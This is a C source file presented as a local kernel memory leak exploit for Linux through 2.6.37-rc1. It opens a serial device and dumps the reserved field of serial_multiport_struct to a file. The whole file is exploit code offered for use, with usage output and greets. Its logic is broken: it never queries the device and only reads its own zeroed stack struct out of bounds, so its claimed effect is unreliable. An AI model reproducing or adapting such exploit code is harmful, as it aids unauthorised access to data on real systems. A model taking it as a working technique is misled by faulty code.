|
/* Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak Exploit * * ./splitmilk2 leak 134514859 * [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak Exploit * [\m/] by Todor Donev * [x] Leakfile : leak * [x] Reservedsize : 134514859 * [+] Leaking.. =) * ... * * * Greets to prdelka, * for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit * * Thanks to Tsvetelina Emirska, * that support, respect and inspire me.. * * Yes, I know thats lame, but I was so bored and lazy for better. * * Author: Todor Donev * Author email: [todor.donev@gmail] * */
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <termios.h> #include <linux/serial.h>
#define DEVICE "/dev/ttyS1"
int main(int argc, char* argv[]) { int ret = 0; int i, fd, reservedsize; char* buf; struct serial_multiport_struct buffer; printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak Exploit\n"); printf("[\\m/] by Todor Donev\n"); fd = open(DEVICE, O_RDONLY); if (fd <0) { printf("[-] Error: f0k\n"); exit(-1); } if (argc < 2) { fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]); exit(-1); } if (argc > 2) if ((reservedsize = atoi(argv[2])) == 0) { fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n"); exit(-1); } fprintf(stderr, " [x] Leakfile: %s\n", argv[1]); fprintf(stderr, " [x] Reservedsize: %u\n", reservedsize); if ((buf = (char *)malloc(reservedsize)) == NULL) { perror("Sorry: (malloc)"); fprintf(stderr, " [-] Sorry: Try again with other output size\n"); exit(1); } memset(&buffer,0,sizeof( buffer)); printf("[+] Leaking.. =)\n"); if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){ printf("[-] Error: f0k =(\n"); exit(-1); } for(i=0;i<=reservedsize;i++){ ret += write(fd,&buffer.reserved[i],sizeof(int)); } close(fd); printf("\\o/ %d bytez\n",ret); exit(0); }
|